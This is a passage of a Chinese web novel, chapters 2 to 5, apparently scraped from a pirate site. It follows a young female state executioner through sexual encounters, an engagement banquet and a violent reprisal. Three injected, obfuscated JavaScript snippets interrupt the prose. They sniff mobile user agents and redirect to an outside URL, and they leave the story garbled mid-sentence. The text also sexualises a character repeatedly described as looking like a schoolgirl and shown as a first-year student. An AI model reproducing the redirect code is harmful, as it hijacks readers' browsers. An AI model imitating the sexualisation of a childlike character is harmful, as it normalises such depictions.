《被退婚的哥哥》 2. 第 2 章 季相兰说不清自己为什么会跟林又茉搞在一起。 这么小的女孩,做他侄女绰绰有余,长得也小,像个单纯高中生。 第一次见面是在某个宴会,在联邦制度底下,人被三六九等分,B、C级公民是社会的支柱,D级是底层,E级是烂泥。而那群A级的是制度的既得利益者,每个人都在金字塔最顶端掌握权力,红酒香槟,开个宴会也喜欢叫人作陪。 季相兰算是很难被请到的“花瓶”,那天是被警告,在这个圈子里不能不玩他们的游戏,他才勉强去露面。 他混到这个地位,一年去一两次这种聚会也就够了。 于是在灯红酒绿、纸醉金迷之中,林又茉坐在那里。 季相兰以为她是高中生,坐她身边会安全。 他坐下在她身边,问她渴不渴,饿不饿,要不要大哥哥给你拿点吃的。他看她穿得单薄,还问她要不要让服务员加个毯子。 林又茉转过来看他……天啊,她有一双怎么样的眼睛。 黑色的,漆黑,凝视你,像在观察你,审视你,解剖你。把你的皮肉、骨血扒出来,摊在她面前。 季相兰在她面前感觉赤.裸。 演员有一千张脸,但他在她眼里只有一张。 等他知道她就是下一任“刽子手”,一切都晚了。 季相兰被她按在床上,少女身上气味很淡,她似乎有洁癖,也并不喜欢她自己身上的气味,于是季相兰没有闻到一点她的气息。 但她似乎中意他的。 她把头埋进他的颈窝,闻他,这让季相兰浑身滚烫。 不是没有一个人能标记他的所有权,但是只有她,她嗅闻的那一瞬间,就让季相兰感觉被占有。 他滚烫,炙热,潮湿,颤抖,都是因为她。这多奇妙。 林又茉的力气大得吓人,那么娇小的一个身体,长得像乖巧的高中生,干他的时候让他几乎想要猝死在那里,在极乐的高点,他张开嘴,她又摁住他的嘴,使用他,像一个工具。 她看他的目光也像工具。 她的那双黑色的眼睛啊……季相兰感觉溺死在里面。 吞没他,反正他也不需要呼吸,她是刽子手,他可以死在她的手下,没关系,都没关系。她掰起他的脸,咬他的唇,鲜血在两人唇齿交换。 可当一切平静,她安静睡着时,又像一个纯洁的天使。 黑头发很长,季相兰把她揽进怀里,她的头发柔软地蹭过他的手臂、胸膛。 季相兰心都是软的。 季相兰听说过,上一任刽子手灭门惨死。 林又茉从小没有父母。 多可怜的孩子。 所以每每林又茉在夜里不安,季相兰都会主动拉开丝绸睡衣领口,让她吃着睡觉。口欲期。口欲期原来没满足,原来是这样。没有家的可怜小孩。 原来是这样。 ……但今天不一样。 反复的折腾后,林又茉去洗了澡。 她在季相兰这里放了衣服,换了一身得体的,不出挑,不出错,但因为她有一张相当年轻的脸,看起来仍然像个无害的未成年。 少女的长发落到腰后。 季相兰倚在床头看她。 美丽的成熟男人身上残留着不少痕迹,他撑着头的那只手腕上就有一圈红印,锁骨、胸膛,大面积的咬痕,在季相兰身上出现几乎可以算是艺术品。 他轻轻叹了口气,拉了拉丝绸睡衣,语调不着调:“用完我就跑。” 季相兰简单挽了发,下床,今天他还有能走路的余地,不得不说小混蛋放了他一马。 他拉开冰箱,取出点新鲜水果,放进破壁机,榨汁。 等林又茉出来时,他正好递给她一杯打好的酸奶。 “宝宝奶昔。”看着高中生模样的林又茉乖乖喝他给的酸奶,季相兰眼睛微微眯起,没骨头一样倚在一边笑,“多大人了。” 林又茉抬起眼看他一眼。 还是很乖。 她从来不笑。但这不妨碍季相兰觉得她乖。 “今天工作怎么样?顺心吗?” “还好。” “来之前在做什么?” 林又茉顿了顿,回答:“看野猫交.配。” 季相兰笑了。 林又茉不太喜欢谈论工作。 她干的不是世人能接受的工作,但总得有人做。 季相兰慢慢叹了口气,拉过林又茉的手,将她揽进怀里。在她发顶亲了一口。 “娇气。” 林又茉抬眼,不明白她哪里娇气。 季相兰不想解释,他觉得林又茉该被爱,应该娇气。他想爱她,让她泡在爱里长大。 季相兰低下头,亲了亲她的嘴角,舔掉蹭上的酸奶。 她的嘴唇很软。 林又茉任他动作。不是上床的时候,她总显得很通情达理,几乎任他摆弄。 季相兰多亲了几下,感觉到自己心跳加快,于是又把小女孩往怀里带。 林又茉任他亲,但他的呼吸变得轻又暧昧时,微微抬起头:“我该出门了。” 她的声音很平静。 季相兰几乎一瞬清醒。 他想了半天,想起来,今天的确有那么一件事。 也是因为这样,林又茉才会换衣服。 他拉了拉睡衣的衣襟,靠回去,也不介意,大大方方:“好吧,我送你到门口。” 成熟男人的好处,就是他足够识趣,包容,让对方舒服自己也舒服。 而林又茉不是任人捏圆搓扁的类型。 不过季相兰,却又不是那种毫无底牌的类型。 所以在林又茉出门时,他拉住小女孩,弯下腰拉她进怀里,让她埋在他颈侧。 “闻我。” 接触一触及分。 紫罗兰的气味浓郁。 季相兰的味道。 林又茉抬起眼,季相兰慢慢弯唇哼笑,在她面前带上门。 ** 林又茉不喜欢迟到。 都城交通堵塞了,她早该想到。 林又茉到主街,抬头望见拥挤的天空。今天是特殊日子,宴会日,有航空管制。 林又茉不想去想她是刻意忽略掉这个事实的可能性。 车开到主城区不再动了。 林又茉开门,下车。 路边的几名治安官抱着手臂凑在一起,等待上级指示,对堵塞的交通毫无办法。 他们三两抽着烟,斜靠在一起,聊着有的没的。嬉笑打趣。 林又茉走过去:“我需要用你们的车。” “去去,一边去,别烦。” 林又茉:“现在。” “哪来的小孩,今天上层人开宴会,哪轮得到你……”制服治安官们呆住,笑容凝固在脸上,看清她是谁,表情迅速消失,老老实实交出钥匙,“您请。” 重型机车的钥匙握在手里也很有分量。林又茉的身形在车面前显得太过娇小,但没人怀疑她。 “谢谢。”她点头。 林又茉跨车启动起飞,黑发在头盔后飞动。 “轰”一声,发动机剧烈轰鸣,划出长弧尾线。 她身后,治安官们过了好几秒才劫后余生反应过来,拿出通讯仪器:“刽子……开SAG02648机车的是A级公民林又茉小姐,请放行。” “重复一遍,开SAG02648机车的是A级公民林又茉小姐,请放行。” “各部门注意,我再重复一遍……” 一名治安官呆呆望着天空,嘴里说:“好酷。” 同伴压低厉声:“闭嘴,你在说谁?” “那是林又茉。” …… 长长的轰鸣声,戛然而止。纯黑的重型警用机车刹停在高大的宴会厅门口,声响巨大,引来不少人注意。 “哟。”有人闪着扇子笑,“哪来的小警察,查岗执勤到这地方来了。” 宴会厅高耸,立柱长廊,精心种植的藤蔓爬满墙壁开花。后花园传来乐声,悠悠扬扬。 “不会是谁叫来的吧?” 方圆百里在都城的最中心,拥有这一片地产。只属于一个家族。是都城的地标性建筑。 “还是个女人。” 说话的人饶有兴致,视线勾勒下来的人的身形,以及头盔后方飘扬的黑发,“真可爱。薛二少爷,不会是你犯了什么法要被我们的小警察追查吧?” 一群人哄笑一片。 一群年轻的富家子女们一窝趴在长廊,薛子琛被他们簇拥在中间,漫不经心,从二楼向下看去, “想不到你们喜欢玩这种把戏。我可是良好公民,从来不违法。” 薛子琛不是宴会的主角。但宴会的主角之一是他的叔叔。在小辈里,他就算中心人物了。 少年黑发,脑后绑着一条小辫,穿着昂贵手织的制服,靠在墙上,松松地抱着手臂。 “天啊!警匪嘛,强盗小偷,保姆主人,这些玩意在家里玩都长青的。薛二少爷别人不知道就算了,你对这些把戏还不知道?” 大家都玩得开,那谁玩得最开? 大家相视一笑。 薛子琛慢慢地笑一声,没回答。 他盯着楼下的人影消失不见,移开眼。 林又茉走到偏厅房间的阴影处,摘下头盔。 房间里的人早就被通知过她的到来,忙不迭有人上前接过她递下的头盔,嘘寒问暖,端茶送水,小心地询问有没有需要的。 “林小姐,需不需要我们通知……” 摘下头盔的黑发少女面容平静,看不出情绪。 她用递来的毛巾擦手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710232|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根一根,两只手都擦拭,很细致。 她有并不严重的洁癖。 “宴会开始多久?”林又茉问。 “半个多小时。” 半个多小时。 林又茉说了谢谢,将毛巾放回托盘,迈步走进主厅。 主厅偌大,金碧辉煌,烛火晃动,人们穿着昂贵优雅的服侍,捏着酒杯附耳谈话。 这不算一个正式宴会,来的人只有几十,但也已经算规格很高了。 因为宴会的主人的缘故,大家来得都殷勤、准时,甚至还算守规矩。 在林又茉踏进宴会厅的一瞬间,波浪凝固了。 谈话声仿佛被按了静音键的收音机,在几秒内慢慢消失。 她像一个冰点,将一片湖泊凝结。 人们拿着酒杯,凝视她,盯着她,看着她行走。 “她在这做什么?” “……她也来。” “林又茉很久没参加非公务宴会了。” “她不知道她不受欢迎么?” “哦,不对,”有人想起来,压低声音,“你有没有听过那个传闻?” “什么传闻?” “林又茉,是由温家那一位,亲自抚养长大……” 声音渐渐变轻。 “那她来也不奇怪。” 林又茉对人们这种反应习以为常,或许到了哪一处,没有人惧怕她,她才会觉得异常。 直到一人挡到面前。 是一名老年男性,打着领带,头发花白,一丝不苟地抹了发油。他戏谑道: “我的天,我还以为这是谁,林又茉。这不是大名鼎鼎的联邦的执刑官吗?” 林又茉的官方职称。 执刑官。 人们本来就往这处看,现在有人主动增加事端,都不由得向这转头。 老年男人举起酒杯,向着周围人群致意,吸引宾客的注意力。 林又茉安静地停下脚步。 “或许你也对自己的职位名字不习惯了吧?‘疯狗’、‘走狗’、‘愉悦犯’、‘杀人犯’……这些才是他们叫你的名字。还是我应该像那些公民一样,叫你——‘刽子手’?” “你这次来这个宴会是想逮捕谁?” “想割断谁的喉咙?挑断谁的手筋,谁犯法了,能让你光临大驾,亲自来动手?” “我听说你家里都用人头做挂件,用血液泡澡,就像血色玛丽女爵,这也是为什么你一直这么年轻漂亮?” “是不是?” 人群骚动,主厅内几乎所有人的视线都集中到这一处来,见众目睽睽,老年男人更加气势昂扬。 所有人都惧怕执刑官,生怕她下一个拆筋扒皮的就是自己,但为什么要怕? 男人靠近少女,扒开自己的衬衫领口,贴近她,大胆的行为引起人群一阵惊呼。 “小姑娘,我的脖子就在这,来啊,你要想,现在就可以割开我的喉咙。你想想,鲜血喷涌出来的感觉,浇得你满头满身,你是不是兴奋了?” “你们执刑官是不是骨子里都是变态?只有杀人、虐待,才会让你们感到快.感?才能满足?” 老年男人笃定她不会动手。执刑官行刑的依据是联邦法律,如果他没犯法,她动手,属于违法,理论上她该自己处决自己。 老年男人舔舔嘴唇,被人瞩目的兴奋感让他晕眩。被众人注视的感觉让他血液沸腾,林又茉长得年轻,动人,漆黑的眼睛落到他脸上,他很想踩在大名鼎鼎的执刑官头上。 天啊,让臭名昭著的刽子手吃瘪,谁能做到这件事? “来啊。”他低声,“杀了我。” 林又茉抬起眼,目光略有些疑惑:“我下班了。” 老年男人笑容顿住。 林又茉见他没回答,从他身边擦肩而过。 身后的人群哗然,喧闹成一片,她并没有管。 大多数时候林又茉并没有在听。 她的世界很安静。所以她喜欢与树相伴。住在郊区,湖边,被深绿色围绕。 所以,不,杀人不会让她感到快感,她只是很擅长,所以这份工作配得上她。 林又茉走到后花园,天光很淡,无人机为这座庄园撑起了一片无雨的区域。 蔷薇花开着,还有其他许多花,颜色恬淡,郁郁繁盛,养花的人用了很多心。 宴会的热闹在这一片都淡下去。仿佛湖中的小舟。 避难所。 而那些花的主人,就静静在花园里等她。 淡金色长发的温臻,在这样的天光里,向她看来。 他站在不远花圃的高处,郁郁葱葱的叶子间,他白色袍子松松拢拢,深绿色的眼眸看下来,像一片湖。 “你来了。”温臻说,他微微笑起来, “你收到了我的请柬。” 3. 第 3 章 那一份带着鸢尾花香气的请柬,早上被佣人提醒忘记拿。 现在正静静待在林又茉的外套口袋里。 “嗯。” 林又茉点头。她穿过树林,在郁郁葱葱的树叶缝隙的阴影中穿行。 这座花园的主人难得一见,林又茉记得上次见到温臻还是上一年。 温臻太忙了,被关在这座宫殿里。 忙得脚不沾地,什么人都不见,包括她。 现在他似乎终于得了一些空闲,在他的花圃里浇他那些心爱的花。 他站在那处高地上,淡金色的发束在一边,拿着一柄精致的水壶,垂下眼,注视那些花,神情恬淡温柔。 林又茉停下。 她站在树下的阴影里,阴凉处。 他很喜欢花。 温臻忽然说:“小心。” 林又茉回头,一名拿着剪子修剪花圃的花匠没站稳,从不远处的木架子上摔下,发出尖锐惊呼:“林小姐,救……” 花匠还没落地,衣服就被一只手稳稳拎住。 林又茉背后黑发飞扬,她单手拎着花匠背后的衣服。 “林、林小姐。谢谢……谢谢您。我不知道怎么摔下来的,可能是踩空了。”花匠吓得大喘气,惊魂未定,劫后余生的庆幸一时冲淡恐惧,他看向不远处,又回看自己在的地方,不明白林又茉是怎么赶来的,诚惶诚恐,吞咽口水,“对不起……给您添麻烦了。” “您……您可以放我下来吗?” 林又茉低头在看手。 她被扎伤了。 她救了一盆一起摔落的花,而花枝割伤了她的手。 莹红、饱满的血从伤口溢出。林又茉扔掉花匠,从口袋里摸出手帕。洁癖在发作。 林又茉没怎么看过自己的血,她一般不会允许自己受伤……倏地,她一僵。 她抬起眼。 温臻不知道什么时候赶来她身边。浅金色的发散发鸢尾香气,他弯腰,将她的手拉过去,扔掉那朵花,张开唇,急切地将她的手指送进去。 “又茉……” 手指被含进一个湿润温暖的地方。 他的舌头舔过伤口,担忧、担心,心疼。 林又茉看到他垂下的浅金色发,长长的睫毛抖动,洒下阴影。这可能是近几年来他们最近的一次。 林又茉默不作声地注视。他的唇,吞咽慢慢滚动的喉结,白皙的耳际。 他的舌头,在吮她的血。 那朵她救下来他心爱的花,被他扔掉,落在她脚边。 “我要给你包扎。”温臻说,“这样的伤口,要消毒。” “还痛吗?” 他的动作很轻柔,语气也温柔,说话很轻,抬起眼来看林又茉,询问她。 似乎不觉得问一个刽子手会不会痛是很违和的事情。 “手指受伤很痛的,手指连心,林又茉,你疼不疼?” 林又茉忽然问:“我的血是什么味道?” 温臻怔了怔:“就是你的味道。” 温臻叫佣人拿来医药篮,让她坐下,为她消毒。 “如果痛的话,就捏我的手。” 他垂眼拉过她的手,动作,白色的长袍,单薄,却又并不完全单薄,脖颈修长,很白,袍子上绣着繁复的纹饰。 林又茉上次见他是上一年,但民众平时能见到他一面都能津津乐道好多年。 毕竟普通公民一生见不到几次神官。 “神官大人,您要的纱布。”佣人恭敬递上托盘,目光带着崇敬。 “谢谢。”温臻说。 神官代表着神明,宗教,浪漫主义,一切与这个钢筋铁骨、等级森严的社会相反的东西。 人们爱他,为他痴迷,觉得他是这可悲社会里唯一没被亵渎的宝藏。 “好了。” 一声让林又茉回神。 温臻将给她包扎好的手还给她。 他担忧地看着她的手指,像看待珍宝:“下次要小心一点。你的手很重要。你每天的工作都很危险,我很担心你。” 林又茉的无名指被贴了一个小创可贴,带着小动物图案,画了许多糖果。 他轻轻拢了拢她的手。温臻的手与她的交叠在一起。 他的手很凉,碰到她却又温暖。 “林又茉……你还是小孩子呢。” “我记得你小时候生病,总要哥哥抱……” “——找了半天,原来躲在这。”一道低沉的男声响起。 高大的男人迈步而来,在这片花园里洒下一片阴影。 温臻一顿,慢慢收回手。 薛柏寒是新任的议会长。 男人高大、健壮,气宇轩昂,神色中带着睥睨,血统高贵,最擅长的身份是政治玩家。 薛柏寒站在那,伟岸的身影撒下的阴影几乎挡住两人面前所有天光。 薛柏寒目光扫过温臻,转过来,看向林又茉。 他唇角勾出一道弧度。 “林又茉,执刑官,大名鼎鼎的刽子手。” “议会长。”林又茉回敬。 这是这位年轻的议会长上任之后,他们俩第一次见面。 她甚至缺席了他的加冕礼。 薛柏寒微微眯起眼:“你在公民里名气很大。我对你很感兴趣。真应该多让你来我的办公室坐坐,可以跟我聊聊你的心得。” 林又茉:“这是您的权利。” “那我去你那视察呢?” 林又茉停顿了片刻,回答:“那您需要预约。” 薛柏寒挑眉,他大笑。 林又茉不明白他为什么笑,她没在开玩笑。 两位宴会的主角在这里聚齐。 林又茉看了他们两人几秒,起身告辞,准备离开,把空间留给他们。 “不可否认,林又茉,你是个有意思的人物,跟传闻里一样。” “但你跟我即将新婚的妻子在我们的订婚宴上藏在这里,还是两个人单独相处。这不得不让我怀疑。” 薛柏寒不紧不慢的声音从身后传来,从后面叫住她, “执刑官——通.奸的罪名,你不会不清楚吧?” 林又茉停住脚步。 订婚宴的请柬就在她的口袋里。 薛柏寒没有在笑,新任的议会长天生有这种本事,威胁和警告像他的天赋本能。 “和神官通.奸,扣除信用点3600分,直接落到负数,跟E级那群人做烂泥。” “你想去混巷子里的妓院吗?” “说不定到那时候,公民们叫你的名字带着爱意,反而会多喜欢你点。” 薛柏寒把玩一般,把手落在自己未婚夫那一头金发上,慢慢地摩挲。 “你,和我美丽的未来妻子一起。” 温臻垂下眼睫,美丽的金发神官坐在那里,看不出神色。 犯通.奸罪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林又茉静静跟他对视。 黑发少女看起来丝毫无害,单纯又安静。 她说:“是,长官。” “没有我的允许,你不能私下见温臻。” “是,长官。” “以后我要你出席的场合,你必须随叫随到。不能缺席。” “是,长官。” “缺席我的加冕礼,跟我道歉。” 林又茉顿了顿:“抱歉,长官。” “还有?” “您的卸任礼,我一定不会缺席。” 领子上的手松开。 薛柏寒愣了愣,弯起唇,哈哈大笑,看了几眼林又茉,像发现了什么有趣的东西。他大手抓了一把林又茉头顶的发,大步离开,逗弄完凶恶的小兽,心情大好。 林又茉抚平领子的褶皱,抬起眼,停下动作。 温臻正伫立在远处的花丛间。 他怔怔看着她。 深绿色的眼睛,像起雾的湖。 他似乎想说什么,向前走了几步,又定住。手指慢慢蜷紧。 “林又茉,哥哥对不起……” 林又茉点头,转身离开。 4. 第 4 章 薛子琛已经等待很久了。 少年黑发,脑后绑着条小辫,穿着身昂贵手织制服,靠在宴会厅走廊里,不耐烦地抬腕看时间。 宴会主角之一的薛柏寒是他亲叔叔,这条走廊没有他的允许,不会有闲杂人等被放进来。 同伴们几双眼睛都在远处往这里看。 “薛二少爷,不如你去会会她呗?” 不一会儿前,同伴用扇子挡着脸,嬉笑提议。 “那个刽子手。” “她那么大名声,总觉得有水分。那些媒体报道都是夸张的。为了噱头什么都能说出来,说不定是假的呢?” “薛二少爷,我们都很好奇,你替我们去看看她到底几斤几两?我们几个里面,就你最有资格。” 薛子琛倒不觉得报道是假的。 但叔叔厌恶那个刽子手是真的。 薛柏寒当选议会长,整个家族与有荣焉,每人多加500信用点,把几个旁支的也抬成了A级公民。 薛子琛嗤之以鼻。他觉得人就该三六九等分,不该有上浮的空间。凤凰是凤凰,蚂蚁是蚂蚁,混到一起谈太过荒唐。 可惜刽子手名声太响,把议会长风头抢了一半。 天真的、愚蠢的小婊子。 薛子琛不否认她长得漂亮,扔到床上应该也带劲,但薛子琛自识大体,把家族事务放在个人癖好之上,天啊,他多伟大。 没过几秒,廊下响起脚步声。 林又茉的步子很稳,在薛子琛拦在她面前时,停下来,抬起眼。 她发尾微微凌乱,身上带着股花汁的气味,让薛子琛不禁绽开笑容。 他伸出一只手:“我在学校里似乎没见过你。” 林又茉不明白他想说什么。 薛子琛弯起嘴角,笑起来亲切,薛家人都有好皮相,并知道怎么使用:“三年级,薛子琛,级长。林又茉,你是一年级的吧?我在新生入学名单上看到过你的名字。可惜,今天才跟你正式见面。” 没有人会拒绝来自学院高年级的橄榄枝, “以后在学校有人找事,可以找我帮忙。我的名字很好用。” 少年自持、矜贵,话语带着绝对的自信和笃信。 林又茉看了他两眼,又垂眼看他的手。 少年有一只很好看的手,矜贵修长,骨节分明,拇指戴着戒指。 “你姓薛。” “嗯。” “薛柏寒的侄子。” “没错。” 林又茉:“你来见我,因为我是长辈。” “……”薛子琛笑容凝在嘴角,“?” 他没绕过来怎么回事。这是他从未考虑过的角度。 等下——难道传闻是真的。 林又茉真是被温琛抚养长大…… “你很孝顺。”林又茉点头,结束无效社交,移步离开。 薛子琛脸沉下来。 他想到远处那些眼睛。 “林又茉。” 林又茉正要走出走廊,听到身后的少年追出来。 他与她擦身而过,走到她身前,又把她堵在走廊里。 薛子琛身量很高,或许这是薛家人的特性之一,他站在她面前,把林又茉的视线挡了严严实实。 薛子琛脸上阴霾一扫而光,少年手指修长,从路过的侍者托盘上拿起两杯酒。 “那至少,跟我喝一杯酒再走吧。” 他手里拿了两杯酒。一杯持在胸前,一杯伸出来,递到林又茉跟前。 “以后我们会是一家人,这点面子不会不给我吧?这是薛家在雪域庄园养的酒庄产出的酒,想让你尝尝味道,一年只出那么几杯。” 不是很烈的东西,但薛子琛只是想要她失态,哪怕一点,坠落神坛就是这么简单不是吗?公民只看表面。他要的只是一些闲言蜚语。 林又茉看了他几秒,在薛子琛急切微笑的凝视中,接过了酒杯,抿了一口。酒味甘甜醇香,的确是很好的酒。但林又茉天生不喜欢酒的气味。 她盯着酒液。 “你叔叔一定后悔。”她说。 薛子琛没听清:“什么?” “在家族里留下你这样一个蠢货。” “蠢……”薛子琛脸色大变。 下一刻,世界颠倒。 薛子琛感觉到痛,剧痛,咔嚓,是玻璃酒杯被砸碎,他的头被抓住头发撞上墙,一次,两次,三次,他听到自己惨叫,尖锐,惨烈,“林又茉,你竟然敢!”“你这个杂种”,“放开我”,“把你的手拿开”,“贱种”,“来人啊!来人!”,“林又茉!”。 嘭!鲜血顺着额角留下,后脑勺砸在地上,一次,两次,三次,薛子琛五脏六腑都在抽搐,高高在上的A级公民从没吃过苦,他发辫散开,倒在地上,胸膛剧烈起伏,氧气从喉咙挤开。 他试图拿自己的电击器,但那该死的东西,居然显示权限干扰,权限干扰是什么鬼东西?!那是他叔叔给他的,凭什么能被这个杂种干扰—— “林又茉,你这个贱人,贱人!——” 剧痛模糊的视线里,是少女的身影。 她穿着那身精致的学校制服,脚踩在他的肩膀,黑发垂到腰际,居高临下,目光平静。 看起来竟然很乖巧。 她手里那杯红酒,稳稳当当。 她俯下来。 巨大的恐惧攥住心脏,薛子琛尖叫:“你要干什么!你要干什么……” 少年的脸颊被捏住,她力气大得吓人,手指用力迫使他张开嘴。 薛子琛只能发出含糊的惨叫。 林又茉垂眼,将那杯红酒塞进了他的喉咙。 在液体灌入喉咙那一刻,薛子琛瞳孔猛缩,剧烈挣扎。 但林又茉的手指不知道怎么做到的,合上他的嘴,手指在他喉咙一捏,他就自主开始吞咽。 不可以,那个酒,他不能喝…… “联邦律法第一条。” 林又茉的声音在他的耳畔,伴随着他吞咽酒液咕咚的声响,滑入深渊, “以牙还牙,自食恶果。” ** 薛家后辈在神官订婚宴上闹出丑闻的消息,无声无息传遍了整个上层社会。 比起正经新闻,这种小道消息显然传播得更快。 “……啧。” 季相兰得知这个消息时,有些惊讶。他正靠在回家车的后座上,片刻,声音叹息一般飘出来,“那些上层人。” 今天是杀青宴,他不吃外面的东西,没必要留那么晚。酒被迫喝得有些多,季相兰有些晕眩,面颊酡红,金发垂落,他靠在车窗一边。 季相兰看向车窗外倒流的街景,属于他的巨幅广告仍飘在天空,靓丽,奢华,无数街边人驻足仰头,紫罗兰成为最新的流行。他也喜欢这个气味,想用它包裹他的小姑娘,让她泡在里面,泡在他的气味里面、他的身体里面。 又想到她。季相兰睫毛轻垂,手指放在胸口,心脏在掌心下跳动,缓慢,隐秘,无规律。 消息叮咚一声,他撩起眼睫,移回视线。 屏幕上是一张照片,阅后即焚,来自他的某个消息来源。 宴会厅某个角落的杂货间里,少年被脱光了五花大绑在一具废弃的白玉雕塑上,房间里飘满大量的气球、彩带,五颜六色,伴随着少年暴躁难堪的脸和披散的发,怪诞地像一场大型的生日宴。甚至仿佛能听到发现他的人的惊呼声。 “薛二少爷,您怎么玩这种——” 季相兰静了几秒。 他忽然笑出声。 金发大美人笑起来格外难得,前排司机禁不住瞄后视镜,不知道是什么让大明星笑得花枝乱颤、完全不顾形象。 季相兰笑了半天才停下来,他看着已经灰下去的屏幕,手指摸了摸,充满爱意。 “小混蛋……是个艺术家呢。” 季相兰轻吸一口气,满足地闭上眼,知道这是谁的杰作。 真是可爱。 如果她现在在他身边,他一定会让她知道他有多爱她。 好想亲她,夸奖她,让她知道他欣赏她的杰作,赞赏她……奖励她。 情.欲染上两颊,金发大美人手撑着脑袋施施然歪在后座,前排司机止不住瞟后视镜,“季……” “麻烦,开快点。” 轻飘飘的声音传来,却没有商量的余地。 “是。”司机脊背一紧,迅速收回视线,目不斜视开车。 ** 家在78层高空,季相兰脚步虚飘进电梯,酒意还在身体里,他微微垂着脑袋,手扶在电梯墙面上。 电梯直达家,季相兰开门,扯散发辫,金发披散而下。 他迈进走廊,准备去泡澡,忽地,停住了。 家里有人。 酒意醒了一瞬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710234|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私生粉丝被季相兰大多用法律关在身周之外,但总有人不怕律法规则,疯狂超过道德和恐惧,依然义无反顾。 他住的楼安保很好,严格严密,但或许这是那一万种可能中的之一。 季相兰退后,门边有安保对讲,他握在手里,无声无息按下按键。 另一手里,握住一把尖锐袖珍小刀。 他穿的宽袖绸缎袍子,小刀背在身后,握在手里,藏在袖子里,慢慢靠近卧室。 月色从房门底下渗出来。 季相兰动作慢、轻,但就在走到房门前时——他怔住了。呼吸像被一只大手攥住,他感到呼吸干涸困难。 “季先生,季先生?”安保声音急切。 他松开安保按钮,取消警报,“没事。只是我误会”,他漂浮般走进卧室。 他的床上,被子隆起一块,缩成一团。 “林又茉。” 季相兰快步跪在床边,将被子掀开一角,不出所料地看到了小女孩的面庞。 少女闭着眼,脸庞潮红,苍白,两颊肤着不自然的红,黑发潮湿,粘连在额上。 “你发烧了?是发烧么?你的头好烫。怎么会搞成这样?” 昏暗中,她缩在被子里,缩进他的卧室,一个人。 季相兰倏地心揪成一块,他说“又茉”、“又茉”,抚摸她的脸颊,滚烫,他亲吻她的额头,起身拿药。 一只手拽住了他。 她的手抓住了他的衣角。 少女的声音很轻,像呓语,季相兰听了好几遍才听清,她说:“哥哥。” 很轻、很轻,像某个梦里,翻卷回来的潮水。 “哥哥……抱我。” 季相兰在那一瞬,定住了。 呼吸都变轻,变疼。 她在叫,哥哥? 他感觉心脏在为她跳动,他顾不得别的,把小女孩揽进怀里。林又茉从来没叫过他哥哥,但他也可以做她的哥哥,他让她靠在他的怀里,他亲吻她的发顶,额头,抚摸她的头,心为她化成水。 “哥哥在……哥哥在。”他说,“又茉,哥哥在。” “哥哥不会离开你,就在这里,在你身边,你摸摸,哥哥就在这里。” “哥哥不走。” 仿佛解除了咒语,小女孩终于慢慢松懈拽紧他衣襟的手。 她脑袋埋在靠在他胸前。 没有家的小孩子,没有家人、亲人,她只有她自己。 季相兰感觉心泡在酸水里。 季相兰查过林家的灭门惨案,记录上只有只言片语,快二十年前,上一任刽子手全家被斩首在家里,死状惨烈。可悲地、可笑地,还是婴儿的林又茉那一晚被玩忽职守的保姆锁在花园地下室,逃过一劫。 那件事该是报复,刽子手手下亡魂无数,遭人仇恨,任何人想要报仇都再正常不过。联邦装聋作哑,任何调查都需要资源,而没有人——没有人愿意站在刽子手这一边。 死了七十多个人的案子就这么不了了之。 林又茉就这么长大。 有传闻她被接到神官府邸养过一段时间,但后来又被送走。 但刽子手的成长轨迹——季相兰不敢想,她从一个孤儿成长到现在这副模样,童年究竟经历了什么? 她是什么时候开始杀人的?她第一次究竟怎么做到的?她一个有洁癖的人,为什么能忍受身上、手上沾满鲜血?有人照顾过她吗?她浑身是血的时候,谁为她去擦身上的东西? 幸好,还好。他现在在她身边。 季相兰靠上床,让她在他怀里靠得更舒服,季相兰慢慢顺她脑后的发。 “没事了,”他嗓音低哑,“没事了,又茉。以后都没事了。我在这里,我会照顾你。” 少女的脑袋慢慢从他锁骨往下滑,她闭着眼。她脸颊酡红,额头带着薄汗,靠在他的金发上。 “哥哥……” “嗯?” “哥哥……” “我在。” “哥哥……” “怎么了?” “想吃……” 季相兰怔了几秒。 他的心就这样软成一片。 他拉开衣襟,将她拉进怀里。 少女像幼年的小兽一样,自己寻找热源,又本能地咬住,疼得季相兰手指微僵,又不想放开她。 他闭上眼,叹息着:“又茉,又茉。” 5. 第 5 章(修) “——蠢货!” 议会的宫邸里,人人战战兢兢,鸦雀无声。 这座偌大庄严的官邸,只供给议会长居住,守卫在官邸外站岗巡逻,安保森严。 薛柏寒把文件扔在桌上,极冷的目光扫过去,一排人都禁不住压低了脊背。 文件散开,一把照片洒出来,不堪入目的荒诞场景让人咋舌。 一名打扮华丽的贵妇人试图开口:“柏寒,我们子琛真的不是故意的,他也不是为了你着想吗,想着那小丫头分你的权威,替你打压打压她,就是做事前欠考虑。孩子还小,你这个做叔叔的——” 一人冷笑插嘴:“做叔叔还不够好么?要不看叔侄面子,柏寒肯定早就让他从薛这个姓下滚出去了,还由得着你在这里指手画脚?” 